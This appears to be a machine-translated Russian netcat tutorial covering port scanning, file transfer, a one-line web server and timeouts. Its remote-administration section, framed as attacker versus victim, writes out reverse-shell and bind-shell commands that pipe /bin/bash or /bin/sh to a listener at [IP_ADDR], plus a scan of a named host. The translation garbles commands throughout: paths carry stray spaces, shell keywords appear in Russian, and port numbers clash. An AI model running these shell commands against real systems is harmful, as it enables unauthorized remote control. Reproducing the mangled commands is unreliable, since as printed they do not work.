Краткое различие между netcat-Traditional и netcat-openbsd
Для netcat доступны два похожих пакета с небольшой разницей между ними.
netcat-традиционный включает дополнительную опцию '-e', которую можно использовать для привязки программы (i.e bash) с помощью netcat. Эта функция очень полезна для целей удаленного администрирования.
netcat-openbsd есть дополнительная поддержка IPv6 и прокси.
Установка Netcat
Хотя netcat предустановлен в большинстве дистрибутивов Linux, но если это не так, его можно легко установить с помощью следующих команд.
Для традиционной упаковки,
[электронная почта защищена]: ~ $ sudo apt-get install netcat-TraditionalДля версии openbsd,
[электронная почта защищена]: ~ $ sudo apt-get install netcat-openbsdNetcat для Windows можно скачать здесь https: // sourceforge.сеть / проекты / NC110 / файлы /.
Теперь мы рассмотрим несколько интересных случаев использования netcat
Сканирование портов с помощью netcat
Чтобы сканировать открытые порты, используйте опцию '-z'. Netcat будет пытаться подключиться к каждому порту без отправки каких-либо данных или очень ограниченных данных в случае UDP. Введите следующее
[электронная почта защищена]: ~ $ nc -z -v hackme.org 80… Отрезать…
hackme.org [217.78.1.155] 80 (http) открыто
Чтобы просканировать диапазон портов, введите
[электронная почта защищена]: ~ $ nc -z -nv 192.168.100.72 20-80(НЕИЗВЕСТНО) [192.168.100.72] 80 (http) открыто
(НЕИЗВЕСТНО) [192.168.100.72] 22 (ssh) открыто
Передача файлов с помощью netcat
Еще один полезный вариант использования netcat - передача файлов между удаленными компьютерами. Вы можете отправлять тексты и двоичные файлы с одного компьютера на другой. Мы попробуем отправить файл «файл.pdf »с ПК с Linux на ПК с Windows [IP 192.168.100.72] на примере netcat.
На машине Windows (получателе) введите следующее
C: \ Users> nc -nvlp 1337> файл.pdfПрослушивание на [0.0.0.0] (семейство 2, порт 1337)
На машине Linux (отправитель) введите следующее
[электронная почта защищена]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfПодключение к 192.168.100.72 1337 порт [tcp / *] успешно завершен!
Удаленное администрирование с помощью netcat
Один из лучших вариантов использования netcat - удаленное администрирование, что означает, что вы можете управлять чужим ПК с помощью netcat. Netcat-Traditional поставляется с параметром -e, который можно использовать для привязки программы (i.e cmd.exe в Windows или bash в Linux) с портом, это означает, что netcat будет действовать как коммуникатор между программой и удаленным ПК. Netcat получит команды с удаленного ПК, выполнит их в локальной системе и отправит результаты обратно на удаленный ПК. Эта функция широко используется в злонамеренных целях, чтобы держать бэкдоры на ПК и серверах. Эта функция доступна только в традиционном netcat, но с небольшой уловкой netcat-openbsd также можно использовать для той же цели. Вы можете использовать два способа управления чужим ПК.
В Обратная оболочка соединение, злоумышленник прослушивает порт и ожидает отправки соединения с машины жертвы. Он используется, когда компьютер жертвы находится за NAT или не имеет общедоступного IP-адреса.
Чтобы получить обратную оболочку с помощью netcat, вам нужно прослушивать порт с помощью netcat. Введите на атакующем компьютере следующее,
[электронная почта защищена]: ~ $ nc -nvlp 1337Прослушивание на [0.0.0.0] (семейство 2, порт 1337)
На машине жертвы (если netcat-традиционный установлен)
// заменить «/ bin / bash» на «cmd».exe »в случае Windows
[электронная почта защищена]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashДля netcat-openbsd (где опция «-e» не поддерживается)
[электронная почта защищена]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
В то время как в Привязать оболочку соединение, злоумышленник связывает порт на машине жертвы и подключается к этому порту с помощью клиентского сокета. Он используется, когда машина злоумышленника находится за NAT или не имеет общедоступного IP-адреса.
На машине жертвы введите
[электронная почта защищена]: ~ $ nc -nlvp 1337 -e / bin / bashпрослушивание [любой] 1337…
Теперь, чтобы запустить команды на машине жертвы, введите
[электронная почта защищена]: ~ $ nc -nv 127.0.0.1 1337Подключение к 127.0.0.1 порт 1337 [tcp / *] успешно завершен!
$ id
uid = 1000 (азад) gid = 1000 (азад) группы = 1000 (азад), 4 (адм), 24 (cdrom), 27 (sudo),
30 (провал), 46 (plugdev), 118 (lpadmin), 129 (самбашаре)
Простой веб-сервер с использованием netcat
Вы также можете сделать еще один простой трюк, чтобы использовать netcat в качестве минимального одностраничного веб-сервера. Этот веб-сервер был бы очень простым без каких-либо специальных настроек, и мы будем использовать его для отправки нашего HTML-кода в браузер.
[электронная почта защищена]: ~ $ пока истина; сделать echo -e "HTTP / 1.1 200 ОК \ n \ n $ (эхо "
Мой простой веб-сервер с использованием netcat
")" | NC -nvlp 1337; ВыполненоПрослушивание на [0.0.0.0] (семейство 2, порт 1337)
Теперь попробуйте получить веб-страницу с помощью curl
[электронная почта защищена]: ~ $ curl http: // 127.0.0.1: 1337 /Мой простой веб-сервер с использованием netcat
Укажите тайм-аут для сеанса netcat
Вы можете указать тайм-аут для сеанса netcat, используя параметр «-w». Netcat автоматически отключит свою сессию по истечении указанного времени.
// -w [Время в секундах][электронная почта защищена]: ~ $ nc -w 40 -nvlp 1337
Прослушивание на [0.0.0.0] (семейство 2, порт 1234)
Продолжать прослушивание, даже если клиент закрывает соединение
В обычном режиме сервер netcat выключается и перестает прослушивать порт, когда клиент закрывает соединение. Вы можете поддерживать сервер в рабочем состоянии, используя опцию «-k»
[электронная почта защищена]: ~ $ nc -k -nlvp 1234Прослушивание на [0.0.0.0] (семейство 2, порт 1234)
Заключение
Netcat - простая, но эффективная утилита, которую можно использовать для множества простых повседневных задач. Он предустановлен почти во всех UNIX-подобных операционных системах и может использоваться для различных задач, таких как связь между двумя ПК, передача файлов и многое другое.